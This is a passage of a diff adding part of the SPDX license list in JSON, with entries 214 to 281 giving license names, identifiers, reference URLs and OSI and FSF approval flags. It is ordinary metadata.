+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.1-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.1-only.json",
+ "referenceNumber": 214,
+ "name": "GNU Free Documentation License v1.1 only",
+ "licenseId": "GFDL-1.1-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.1.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-2.0.json",
+ "referenceNumber": 215,
+ "name": "Creative Commons Attribution 2.0 Generic",
+ "licenseId": "CC-BY-2.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/2.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AFL-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AFL-1.2.json",
+ "referenceNumber": 216,
+ "name": "Academic Free License v1.2",
+ "licenseId": "AFL-1.2",
+ "seeAlso": [
+ "http://opensource.linux-mirror.org/licenses/afl-1.2.txt",
+ "http://wayback.archive.org/web/20021204204652/http://www.opensource.org/licenses/academic.php"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-2.0.json",
+ "referenceNumber": 217,
+ "name": "Creative Commons Attribution Share Alike 2.0 Generic",
+ "licenseId": "CC-BY-SA-2.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/2.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CECILL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CECILL-2.0.json",
+ "referenceNumber": 218,
+ "name": "CeCILL Free Software License Agreement v2.0",
+ "licenseId": "CECILL-2.0",
+ "seeAlso": [
+ "http://www.cecill.info/licences/Licence_CeCILL_V2-en.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT-advertising.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT-advertising.json",
+ "referenceNumber": 219,
+ "name": "Enlightenment License (e16)",
+ "licenseId": "MIT-advertising",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/MIT_With_Advertising"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-2.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-2.5.json",
+ "referenceNumber": 220,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 2.5 Generic",
+ "licenseId": "CC-BY-NC-SA-2.5",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/2.5/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Artistic-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Artistic-1.0.json",
+ "referenceNumber": 221,
+ "name": "Artistic License 1.0",
+ "licenseId": "Artistic-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/Artistic-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OSL-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OSL-3.0.json",
+ "referenceNumber": 222,
+ "name": "Open Software License 3.0",
+ "licenseId": "OSL-3.0",
+ "seeAlso": [
+ "https://web.archive.org/web/20120101081418/http://rosenlaw.com:80/OSL3.0.htm",
+ "https://opensource.org/licenses/OSL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/X11.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/X11.json",
+ "referenceNumber": 223,
+ "name": "X11 License",
+ "licenseId": "X11",
+ "seeAlso": [
+ "http://www.xfree86.org/3.3.6/COPYRIGHT2.html#3"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Bahyph.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Bahyph.json",
+ "referenceNumber": 224,
+ "name": "Bahyph License",
+ "licenseId": "Bahyph",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Bahyph"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.0.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.0.1.json",
+ "referenceNumber": 225,
+ "name": "Open LDAP Public License v2.0.1",
+ "licenseId": "OLDAP-2.0.1",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003db6d68acd14e51ca3aab4428bf26522aa74873f0e"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/EUDatagrid.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EUDatagrid.json",
+ "referenceNumber": 226,
+ "name": "EU DataGrid Software License",
+ "licenseId": "EUDatagrid",
+ "seeAlso": [
+ "http://eu-datagrid.web.cern.ch/eu-datagrid/license.html",
+ "https://opensource.org/licenses/EUDatagrid"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MTLL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MTLL.json",
+ "referenceNumber": 227,
+ "name": "Matrix Template Library License",
+ "licenseId": "MTLL",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Matrix_Template_Library_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.2-invariants-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.2-invariants-only.json",
+ "referenceNumber": 228,
+ "name": "GNU Free Documentation License v1.2 only - invariants",
+ "licenseId": "GFDL-1.2-invariants-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.2.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.3-no-invariants-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.3-no-invariants-or-later.json",
+ "referenceNumber": 229,
+ "name": "GNU Free Documentation License v1.3 or later - no invariants",
+ "licenseId": "GFDL-1.3-no-invariants-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/fdl-1.3.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/curl.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/curl.json",
+ "referenceNumber": 230,
+ "name": "curl License",
+ "licenseId": "curl",
+ "seeAlso": [
+ "https://github.com/bagder/curl/blob/master/COPYING"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LAL-1.3.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LAL-1.3.json",
+ "referenceNumber": 231,
+ "name": "Licence Art Libre 1.3",
+ "licenseId": "LAL-1.3",
+ "seeAlso": [
+ "https://artlibre.org/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/DSDP.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/DSDP.json",
+ "referenceNumber": 232,
+ "name": "DSDP License",
+ "licenseId": "DSDP",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/DSDP"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CERN-OHL-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CERN-OHL-1.2.json",
+ "referenceNumber": 233,
+ "name": "CERN Open Hardware Licence v1.2",
+ "licenseId": "CERN-OHL-1.2",
+ "seeAlso": [
+ "https://www.ohwr.org/project/licenses/wikis/cern-ohl-v1.2"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/TOSL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TOSL.json",
+ "referenceNumber": 234,
+ "name": "Trusster Open Source License",
+ "licenseId": "TOSL",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/TOSL"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-3.0-with-autoconf-exception.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-3.0-with-autoconf-exception.json",
+ "referenceNumber": 235,
+ "name": "GNU General Public License v3.0 w/Autoconf exception",
+ "licenseId": "GPL-3.0-with-autoconf-exception",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/autoconf-exception-3.0.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-3.0.json",
+ "referenceNumber": 236,
+ "name": "Creative Commons Attribution 3.0 Unported",
+ "licenseId": "CC-BY-3.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/3.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Qhull.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Qhull.json",
+ "referenceNumber": 237,
+ "name": "Qhull License",
+ "licenseId": "Qhull",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Qhull"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.3-no-invariants-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.3-no-invariants-only.json",
+ "referenceNumber": 238,
+ "name": "GNU Free Documentation License v1.3 only - no invariants",
+ "licenseId": "GFDL-1.3-no-invariants-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/fdl-1.3.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/TORQUE-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TORQUE-1.1.json",
+ "referenceNumber": 239,
+ "name": "TORQUE v2.5+ Software License v1.1",
+ "licenseId": "TORQUE-1.1",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/TORQUEv1.1"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MS-PL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MS-PL.json",
+ "referenceNumber": 240,
+ "name": "Microsoft Public License",
+ "licenseId": "MS-PL",
+ "seeAlso": [
+ "http://www.microsoft.com/opensource/licenses.mspx",
+ "https://opensource.org/licenses/MS-PL"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Apache-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Apache-1.0.json",
+ "referenceNumber": 241,
+ "name": "Apache License 1.0",
+ "licenseId": "Apache-1.0",
+ "seeAlso": [
+ "http://www.apache.org/licenses/LICENSE-1.0"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/copyleft-next-0.3.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/copyleft-next-0.3.1.json",
+ "referenceNumber": 242,
+ "name": "copyleft-next 0.3.1",
+ "licenseId": "copyleft-next-0.3.1",
+ "seeAlso": [
+ "https://github.com/copyleft-next/copyleft-next/blob/master/Releases/copyleft-next-0.3.1"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.2-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.2-or-later.json",
+ "referenceNumber": 243,
+ "name": "GNU Free Documentation License v1.2 or later",
+ "licenseId": "GFDL-1.2-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.2.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-3.0+.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-3.0+.json",
+ "referenceNumber": 244,
+ "name": "GNU General Public License v3.0 or later",
+ "licenseId": "GPL-3.0+",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/gpl-3.0-standalone.html",
+ "https://opensource.org/licenses/GPL-3.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MulanPSL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MulanPSL-2.0.json",
+ "referenceNumber": 245,
+ "name": "Mulan Permissive Software License, Version 2",
+ "licenseId": "MulanPSL-2.0",
+ "seeAlso": [
+ "https://license.coscl.org.cn/MulanPSL2/"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/FSFAP.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/FSFAP.json",
+ "referenceNumber": 246,
+ "name": "FSF All Permissive License",
+ "licenseId": "FSFAP",
+ "seeAlso": [
+ "https://www.gnu.org/prep/maintain/html_node/License-Notices-for-Other-Files.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Xerox.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Xerox.json",
+ "referenceNumber": 247,
+ "name": "Xerox License",
+ "licenseId": "Xerox",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Xerox"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CDDL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CDDL-1.0.json",
+ "referenceNumber": 248,
+ "name": "Common Development and Distribution License 1.0",
+ "licenseId": "CDDL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/cddl1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.3-invariants-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.3-invariants-only.json",
+ "referenceNumber": 249,
+ "name": "GNU Free Documentation License v1.3 only - invariants",
+ "licenseId": "GFDL-1.3-invariants-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/fdl-1.3.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/etalab-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/etalab-2.0.json",
+ "referenceNumber": 250,
+ "name": "Etalab Open License 2.0",
+ "licenseId": "etalab-2.0",
+ "seeAlso": [
+ "https://github.com/DISIC/politique-de-contribution-open-source/blob/master/LICENSE.pdf",
+ "https://raw.githubusercontent.com/DISIC/politique-de-contribution-open-source/master/LICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/XFree86-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/XFree86-1.1.json",
+ "referenceNumber": 251,
+ "name": "XFree86 License 1.1",
+ "licenseId": "XFree86-1.1",
+ "seeAlso": [
+ "http://www.xfree86.org/current/LICENSE4.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/SNIA.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SNIA.json",
+ "referenceNumber": 252,
+ "name": "SNIA Public License 1.1",
+ "licenseId": "SNIA",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/SNIA_Public_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LPPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LPPL-1.1.json",
+ "referenceNumber": 253,
+ "name": "LaTeX Project Public License v1.1",
+ "licenseId": "LPPL-1.1",
+ "seeAlso": [
+ "http://www.latex-project.org/lppl/lppl-1-1.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CATOSL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CATOSL-1.1.json",
+ "referenceNumber": 254,
+ "name": "Computer Associates Trusted Open Source License 1.1",
+ "licenseId": "CATOSL-1.1",
+ "seeAlso": [
+ "https://opensource.org/licenses/CATOSL-1.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/TU-Berlin-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TU-Berlin-2.0.json",
+ "referenceNumber": 255,
+ "name": "Technische Universitaet Berlin License 2.0",
+ "licenseId": "TU-Berlin-2.0",
+ "seeAlso": [
+ "https://github.com/CorsixTH/deps/blob/fd339a9f526d1d9c9f01ccf39e438a015da50035/licences/libgsm.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.3.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.3.json",
+ "referenceNumber": 256,
+ "name": "GNU Free Documentation License v1.3",
+ "licenseId": "GFDL-1.3",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/fdl-1.3.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.3-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.3-or-later.json",
+ "referenceNumber": 257,
+ "name": "GNU Free Documentation License v1.3 or later",
+ "licenseId": "GFDL-1.3-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/fdl-1.3.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LAL-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LAL-1.2.json",
+ "referenceNumber": 258,
+ "name": "Licence Art Libre 1.2",
+ "licenseId": "LAL-1.2",
+ "seeAlso": [
+ "http://artlibre.org/licence/lal/licence-art-libre-12/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ICU.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ICU.json",
+ "referenceNumber": 259,
+ "name": "ICU License",
+ "licenseId": "ICU",
+ "seeAlso": [
+ "http://source.icu-project.org/repos/icu/icu/trunk/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/FTL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/FTL.json",
+ "referenceNumber": 260,
+ "name": "Freetype Project License",
+ "licenseId": "FTL",
+ "seeAlso": [
+ "http://freetype.fis.uniroma2.it/FTL.TXT",
+ "http://git.savannah.gnu.org/cgit/freetype/freetype2.git/tree/docs/FTL.TXT",
+ "http://gitlab.freedesktop.org/freetype/freetype/-/raw/master/docs/FTL.TXT"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MirOS.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MirOS.json",
+ "referenceNumber": 261,
+ "name": "The MirOS Licence",
+ "licenseId": "MirOS",
+ "seeAlso": [
+ "https://opensource.org/licenses/MirOS"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-2-Clause-NetBSD.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/BSD-2-Clause-NetBSD.json",
+ "referenceNumber": 262,
+ "name": "BSD 2-Clause NetBSD License",
+ "licenseId": "BSD-2-Clause-NetBSD",
+ "seeAlso": [
+ "http://www.netbsd.org/about/redistribution.html#default"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-ND-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-ND-3.0.json",
+ "referenceNumber": 263,
+ "name": "Creative Commons Attribution Non Commercial No Derivatives 3.0 Unported",
+ "licenseId": "CC-BY-NC-ND-3.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-nd/3.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OSET-PL-2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OSET-PL-2.1.json",
+ "referenceNumber": 264,
+ "name": "OSET Public License version 2.1",
+ "licenseId": "OSET-PL-2.1",
+ "seeAlso": [
+ "http://www.osetfoundation.org/public-license",
+ "https://opensource.org/licenses/OPL-2.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-ND-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-ND-2.0.json",
+ "referenceNumber": 265,
+ "name": "Creative Commons Attribution Non Commercial No Derivatives 2.0 Generic",
+ "licenseId": "CC-BY-NC-ND-2.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-nd/2.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SISSL-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SISSL-1.2.json",
+ "referenceNumber": 266,
+ "name": "Sun Industry Standards Source License v1.2",
+ "licenseId": "SISSL-1.2",
+ "seeAlso": [
+ "http://gridscheduler.sourceforge.net/Gridengine_SISSL_license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Wsuipa.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Wsuipa.json",
+ "referenceNumber": 267,
+ "name": "Wsuipa License",
+ "licenseId": "Wsuipa",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Wsuipa"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Zimbra-1.4.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Zimbra-1.4.json",
+ "referenceNumber": 268,
+ "name": "Zimbra Public License v1.4",
+ "licenseId": "Zimbra-1.4",
+ "seeAlso": [
+ "http://www.zimbra.com/legal/zimbra-public-license-1-4"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Linux-OpenIB.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Linux-OpenIB.json",
+ "referenceNumber": 269,
+ "name": "Linux Kernel Variant of OpenIB.org license",
+ "licenseId": "Linux-OpenIB",
+ "seeAlso": [
+ "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/drivers/infiniband/core/sa.h"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-3.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-3.0.json",
+ "referenceNumber": 270,
+ "name": "GNU Lesser General Public License v3.0 only",
+ "licenseId": "LGPL-3.0",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/lgpl-3.0-standalone.html",
+ "https://opensource.org/licenses/LGPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.5.json",
+ "referenceNumber": 271,
+ "name": "Open LDAP Public License v2.5",
+ "licenseId": "OLDAP-2.5",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d6852b9d90022e8593c98205413380536b1b5a7cf"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AMPAS.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AMPAS.json",
+ "referenceNumber": 272,
+ "name": "Academy of Motion Picture Arts and Sciences BSD",
+ "licenseId": "AMPAS",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/BSD#AMPASBSD"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-1.0-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GPL-1.0-or-later.json",
+ "referenceNumber": 273,
+ "name": "GNU General Public License v1.0 or later",
+ "licenseId": "GPL-1.0-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-1.0-standalone.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BUSL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BUSL-1.1.json",
+ "referenceNumber": 274,
+ "name": "Business Source License 1.1",
+ "licenseId": "BUSL-1.1",
+ "seeAlso": [
+ "https://mariadb.com/bsl11/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Adobe-Glyph.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Adobe-Glyph.json",
+ "referenceNumber": 275,
+ "name": "Adobe Glyph List License",
+ "licenseId": "Adobe-Glyph",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/MIT#AdobeGlyph"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/0BSD.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/0BSD.json",
+ "referenceNumber": 276,
+ "name": "BSD Zero Clause License",
+ "licenseId": "0BSD",
+ "seeAlso": [
+ "http://landley.net/toybox/license.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/W3C-19980720.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/W3C-19980720.json",
+ "referenceNumber": 277,
+ "name": "W3C Software Notice and License (1998-07-20)",
+ "licenseId": "W3C-19980720",
+ "seeAlso": [
+ "http://www.w3.org/Consortium/Legal/copyright-software-19980720.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/FSFUL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/FSFUL.json",
+ "referenceNumber": 278,
+ "name": "FSF Unlimited License",
+ "licenseId": "FSFUL",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/FSF_Unlimited_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-3.0.json",
+ "referenceNumber": 279,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 3.0 Unported",
+ "licenseId": "CC-BY-NC-SA-3.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/3.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/DOC.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/DOC.json",
+ "referenceNumber": 280,
+ "name": "DOC License",
+ "licenseId": "DOC",
+ "seeAlso": [
+ "http://www.cs.wustl.edu/~schmidt/ACE-copying.html",
+ "https://www.dre.vanderbilt.edu/~schmidt/ACE-copying.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/TMate.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TMate.json",
+ "referenceNumber": 281,
+ "name": "TMate Open Source License",
+ "licenseId": "TMate",
+ "seeAlso": [
+ "http://svnkit.com/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
